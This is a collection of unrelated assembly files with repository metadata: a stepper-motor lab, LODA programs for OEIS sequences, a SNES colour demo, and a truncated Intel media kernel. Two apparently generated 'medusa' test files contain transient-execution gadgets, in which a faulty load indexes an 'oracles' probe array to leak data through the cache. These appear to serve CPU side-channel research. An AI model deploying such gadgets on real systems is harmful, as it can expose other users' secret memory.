{"size": 109, "ext": "asm", "max_stars_repo_path": "Microprocessor_Interfacing_CSE_2006/Stepper_Motor_Lab_8/rotate.asm", "max_stars_repo_name": "aadhityasw/VIT-Labs", "max_stars_repo_stars_event_min_datetime": "2021-11-18T05:30:24.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-07T06:28:06.000Z", "max_issues_repo_path": "Microprocessor_Interfacing_CSE_2006/Stepper_Motor_Lab_8/rotate.asm", "max_issues_repo_name": "aadhityasw/VIT-Labs", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Microprocessor_Interfacing_CSE_2006/Stepper_Motor_Lab_8/rotate.asm", "max_forks_repo_name": "aadhityasw/VIT-Labs", "max_forks_repo_forks_event_min_datetime": "2021-10-14T01:10:34.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-18T14:33:52.000Z"}
{"max_stars_count": 2, "max_issues_count": null, "max_forks_count": 3, "avg_line_length": 8.3846153846, "max_line_length": 13, "alphanum_fraction": 0.7247706422}
MOV CX,04H MOV SI,4200 MOV AL,[SI] OUT 0C0H,AL MOV BX,0FFFFH DEC BX JNZ 1010 INC SI LOOP 1008 JMP 1000 HLT
TheStack
83ff339711f11b47d6be47374f52adea5ecfc005
Assemblycode:Assembly
{"size": 492, "ext": "asm", "max_stars_repo_path": "oeis/349/A349842.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/349/A349842.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/349/A349842.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 24.6, "max_line_length": 236, "alphanum_fraction": 0.6666666667}
; A349842: Expansion of 1/((1 - 2*x)*(1 + x + x^2 + x^3 + x^4)). ; Submitted by Christian Krause ; 1,1,2,4,8,17,33,66,132,264,529,1057,2114,4228,8456,16913,33825,67650,135300,270600,541201,1082401,2164802,4329604,8659208,17318417,34636833,69273666,138547332,277094664,554189329,1108378657,2216757314,4433514628,8867029256,17734058513 add $0,3 lpb $0 sub $0,1 mov $1,1 add $2,1 sub $3,$4 add $1,$3 mov $4,$2 mul $2,2 mul $4,4 div $5,16 add $5,$4 mov $3,$5 lpe mov $0,$1
TheStack
3da07ffa427690a03a9c53d765e8a683adc1b5fa
Assemblycode:Assembly
{"size": 8307, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_435.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_435.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_435.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 32.8339920949, "max_line_length": 2999, "alphanum_fraction": 0.6596846033}
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x11f66, %r12 nop nop nop nop nop xor $26096, %r11 mov (%r12), %r8 nop nop nop nop sub $3729, %rbx lea addresses_UC_ht+0x3276, %rbp nop nop nop nop nop add $16857, %rdx vmovups (%rbp), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %r12 xor %r8, %r8 lea addresses_A_ht+0x10166, %rsi lea addresses_A_ht+0x3166, %rdi and $32191, %rbp mov $22, %rcx rep movsq nop nop nop nop sub %rdx, %rdx lea addresses_WC_ht+0xb5fe, %rdx nop sub %rbp, %rbp mov $0x6162636465666768, %rbx movq %rbx, %xmm5 movups %xmm5, (%rdx) nop nop inc %rbp lea addresses_D_ht+0xa12, %rsi lea addresses_WC_ht+0x9996, %rdi nop nop and %r11, %r11 mov $21, %rcx rep movsw nop xor %rsi, %rsi lea addresses_UC_ht+0x55e6, %rsi lea addresses_WT_ht+0x7a66, %rdi nop nop nop nop and %rbp, %rbp mov $101, %rcx rep movsb nop nop nop nop nop cmp $59171, %rsi lea addresses_A_ht+0x950e, %rdi nop nop nop nop add $23135, %rbp mov $0x6162636465666768, %rbx movq %rbx, (%rdi) nop nop nop nop nop cmp %r12, %r12 lea addresses_normal_ht+0x11766, %rsi nop nop nop xor $15204, %rbp mov $0x6162636465666768, %rdx movq %rdx, %xmm0 and $0xffffffffffffffc0, %rsi movaps %xmm0, (%rsi) nop sub $12497, %rdi lea addresses_A_ht+0x7ba6, %r8 clflush (%r8) nop nop nop and %rdi, %rdi movb $0x61, (%r8) nop nop xor %rsi, %rsi lea addresses_A_ht+0xa7d6, %r11 nop nop nop nop add %rdx, %rdx movb (%r11), %cl nop sub $42011, %rdx lea addresses_WT_ht+0x15fe6, %rsi lea addresses_WC_ht+0x11ae6, %rdi nop sub %rbx, %rbx mov $1, %rcx rep movsb nop inc %rsi lea addresses_UC_ht+0x3cc6, %rcx clflush (%rcx) nop nop nop nop nop add $43519, %rdi movl $0x61626364, (%rcx) nop sub $51928, %r11 lea addresses_D_ht+0x11366, %rsi lea addresses_WT_ht+0x18bd6, %rdi nop nop nop nop inc %rbp mov $70, %rcx rep movsq nop nop cmp $38036, %rdx lea addresses_WT_ht+0x89c5, %rsi lea addresses_normal_ht+0x2566, %rdi nop xor %rdx, %rdx mov $4, %rcx rep movsl nop sub %r11, %r11 lea addresses_UC_ht+0x2226, %rdi and $45553, %r8 and $0xffffffffffffffc0, %rdi vmovaps (%rdi), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rcx nop inc %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r8 push %r9 push %rcx push %rdi push %rsi // REPMOV lea addresses_normal+0x7740, %rsi lea addresses_normal+0x1be66, %rdi nop nop nop nop sub $33957, %r12 mov $26, %rcx rep movsl nop nop nop nop nop xor $62911, %r9 // Faulty Load lea addresses_PSE+0x18f66, %r13 nop nop cmp $64530, %r8 mov (%r13), %rdi lea oracles, %rsi and $0xff, %rdi shlq $12, %rdi mov (%rsi,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 5, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
TheStack
53ed4176df05c211153dadf43e6a79f2993f24a3
Assemblycode:Assembly
{"size": 375, "ext": "asm", "max_stars_repo_path": "programs/oeis/321/A321003.asm", "max_stars_repo_name": "jmorken/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/321/A321003.asm", "max_issues_repo_name": "jmorken/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/321/A321003.asm", "max_forks_repo_name": "jmorken/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 23.4375, "max_line_length": 227, "alphanum_fraction": 0.7493333333}
; A321003: a(n) = 2^n*(4*3^n-1). ; 3,22,140,856,5168,31072,186560,1119616,6718208,40310272,241863680,1451186176,8707125248,52242767872,313456640000,1880739905536,11284439564288,67706637647872,406239826411520,2437438959517696,14624633759203328,87747802559414272 mov $1,14 mov $2,12 lpb $0 sub $0,1 mul $1,2 mul $2,3 lpe sub $2,3 mul $1,$2 sub $1,126 div $1,42 add $1,3
TheStack
ba04cc4ed64e9ed2c0e1e71e170a121ac0f131a4
Assemblycode:Assembly
{"size": 2329, "ext": "asm", "max_stars_repo_path": "examples/color/program.asm", "max_stars_repo_name": "michielvoo/snes", "max_stars_repo_stars_event_min_datetime": "2015-04-29T04:44:56.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-04T05:59:35.000Z", "max_issues_repo_path": "examples/color/program.asm", "max_issues_repo_name": "michielvoo/super", "max_issues_repo_issues_event_min_datetime": "2015-07-29T04:35:33.000Z", "max_issues_repo_issues_event_max_datetime": "2015-07-29T04:36:49.000Z", "max_forks_repo_path": "examples/color/program.asm", "max_forks_repo_name": "michielvoo/super", "max_forks_repo_forks_event_min_datetime": "2015-08-20T09:03:29.000Z", "max_forks_repo_forks_event_max_datetime": "2019-02-08T00:10:26.000Z"}
{"max_stars_count": 51, "max_issues_count": 6, "max_forks_count": 5, "avg_line_length": 16.8768115942, "max_line_length": 66, "alphanum_fraction": 0.6255903821}
; bgcolor ; Press the A, B, X and Y buttons to change the background color. .INCLUDE "../lib/header.asm" .INCLUDE "../lib/registers.asm" .INCLUDE "../lib/settings.asm" .INCLUDE "../lib/values.asm" .INCLUDE "../lib/initialization.asm" .BANK 0 .ORG 0 .SECTION "" Main: Reset ; Set accumulator register to 8-bit sep #$20 ; Set color 0 of palette 0 to white stz CGADD lda #$FF sta CGDATA lda #$7F sta CGDATA ; Enable the screen at full brightness lda #$0F sta INIDISP ; Enable VBlank and the joypad lda #(NMITIMEN_NMI_ENABLE | NMITIMEN_JOY_ENABLE) sta NMITIMEN ; Keep waiting for interrupts - wai jmp - VBlank: ; Wait until the joypad input can be read lda #HVBJOY_JOYREADY - and HVBJOY cmp #HVBJOY_JOYREADY bne - ; Prepare to change color 0 of palette 0 stz CGADD ; Reset accumulator register to 16-bit rep #$20 ; Jump to label Yellow if the A and Y buttons were pressed lda #(JOY_RED + JOY_GREEN) and JOY1 cmp #(JOY_RED + JOY_GREEN) beq Yellow ; Jump to label Red if the A button was pressed lda #JOY_RED and JOY1 cmp #JOY_RED beq Red ; Jump to label Yellow if the B button was pressed lda #JOY_YELLOW and JOY1 cmp #JOY_YELLOW beq Yellow ; Jump to label Blue if the X button was pressed lda #JOY_BLUE and JOY1 cmp #JOY_BLUE beq Blue ; Jump to label Green if the Y button was pressed lda #JOY_GREEN and JOY1 cmp #JOY_GREEN beq Green rti Red: ; Set accumulator register back to 8-bit sep #$20 ; Set color 0 of palette 0 to red lda #%00011111 sta CGDATA lda #%00000000 sta CGDATA rti Green: ; Set accumulator register back to 8-bit sep #$20 ; Set color 0 of palette 0 to green lda #%11100000 sta CGDATA lda #%00000011 sta CGDATA rti Blue: ; Set accumulator register back to 8-bit sep #$20 ; Set color 0 of palette 0 to blue lda #%00000000 sta CGDATA lda #%01111100 sta CGDATA rti Yellow: ; Set accumulator register back to 8-bit sep #$20 ; Set color 0 of palette 0 to yellow lda #%11111111 sta CGDATA lda #%00000011 sta CGDATA rti IRQ: lda TIMEUP rti .ENDS
TheStack
3790687819620612b58c9950eae9177c78480ede
Assemblycode:Assembly
{"size": 5925, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca.log_21829_1077.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca.log_21829_1077.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca.log_21829_1077.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 39.238410596, "max_line_length": 2999, "alphanum_fraction": 0.6553586498}
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x572e, %r9 nop nop nop and %rdi, %rdi movw $0x6162, (%r9) nop nop nop nop add %rdi, %rdi lea addresses_normal_ht+0x133ae, %rdx xor %rax, %rax movb $0x61, (%rdx) nop cmp $36363, %rax lea addresses_D_ht+0xa114, %rsi lea addresses_normal_ht+0x1a3ae, %rdi nop nop xor $29401, %r10 mov $119, %rcx rep movsq xor $57274, %r10 lea addresses_A_ht+0x128ce, %rax sub $23510, %rcx vmovups (%rax), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r10 nop sub %r10, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r9 push %rbp push %rdi push %rsi // Store lea addresses_D+0x89ae, %r13 nop sub $56902, %rbp mov $0x5152535455565758, %r14 movq %r14, %xmm4 vmovntdq %ymm4, (%r13) nop nop nop nop nop inc %r11 // Load mov $0x205be30000000bae, %r11 nop nop sub $60582, %r14 movups (%r11), %xmm1 vpextrq $0, %xmm1, %rbp nop add $20673, %rbp // Store lea addresses_D+0x19046, %r11 nop nop nop cmp %r9, %r9 movb $0x51, (%r11) nop nop nop nop nop inc %r13 // Store lea addresses_RW+0x87ae, %r9 nop nop inc %r13 mov $0x5152535455565758, %r14 movq %r14, %xmm1 movups %xmm1, (%r9) nop nop nop nop add %r11, %r11 // Faulty Load lea addresses_D+0x10bae, %rbp clflush (%rbp) nop add $27943, %rsi movb (%rbp), %r9b lea oracles, %rsi and $0xff, %r9 shlq $12, %r9 mov (%rsi,%r9,1), %r9 pop %rsi pop %rdi pop %rbp pop %r9 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 8}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 1}, 'dst': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
TheStack
07f0b248c4f7840a0970f204d5953899d89eaed8
Assemblycode:Assembly
{"size": 12118, "ext": "asm", "max_stars_repo_path": "media_driver/agnostic/gen11_icllp/vp/kernel_free/Source/Colorfill_444Scale16.asm", "max_stars_repo_name": "lacc97/media-driver", "max_stars_repo_stars_event_min_datetime": "2017-11-21T15:55:52.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T06:31:00.000Z", "max_issues_repo_path": "media_driver/agnostic/gen11_icllp/vp/kernel_free/Source/Colorfill_444Scale16.asm", "max_issues_repo_name": "lacc97/media-driver", "max_issues_repo_issues_event_min_datetime": "2017-12-01T00:26:10.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T17:55:26.000Z", "max_forks_repo_path": "media_driver/agnostic/gen11_icllp/vp/kernel_free/Source/Colorfill_444Scale16.asm", "max_forks_repo_name": "lacc97/media-driver", "max_forks_repo_forks_event_min_datetime": "2017-11-30T08:34:09.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-30T18:52:07.000Z"}
{"max_stars_count": 660, "max_issues_count": 1070, "max_forks_count": 309, "avg_line_length": 89.762962963, "max_line_length": 109, "alphanum_fraction": 0.3236507675}
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: cmp (16|M0) (eq)f0.0 null.0<1>:w r21.0<16;16,1>:uw 0xFFFF:uw (f0.0.all16h) cmp (1|M0) (eq)f0.0 null.0<1>:d r7.1<0;1,0>:ud 0xFFFFFFFF:ud (W&f0.0.all16h)jmpi L1696 L48: cmp (1|M0) (eq)f0.0 null.0<1>:d r7.1<0;1,0>:ud 0xFFFFFFFF:ud and (16|M0) r21.0<1>:uw r21.0<16;16,1>:uw 0xFFFF:uw (W&f0.0) jmpi L240 L96: mov (1|M0) 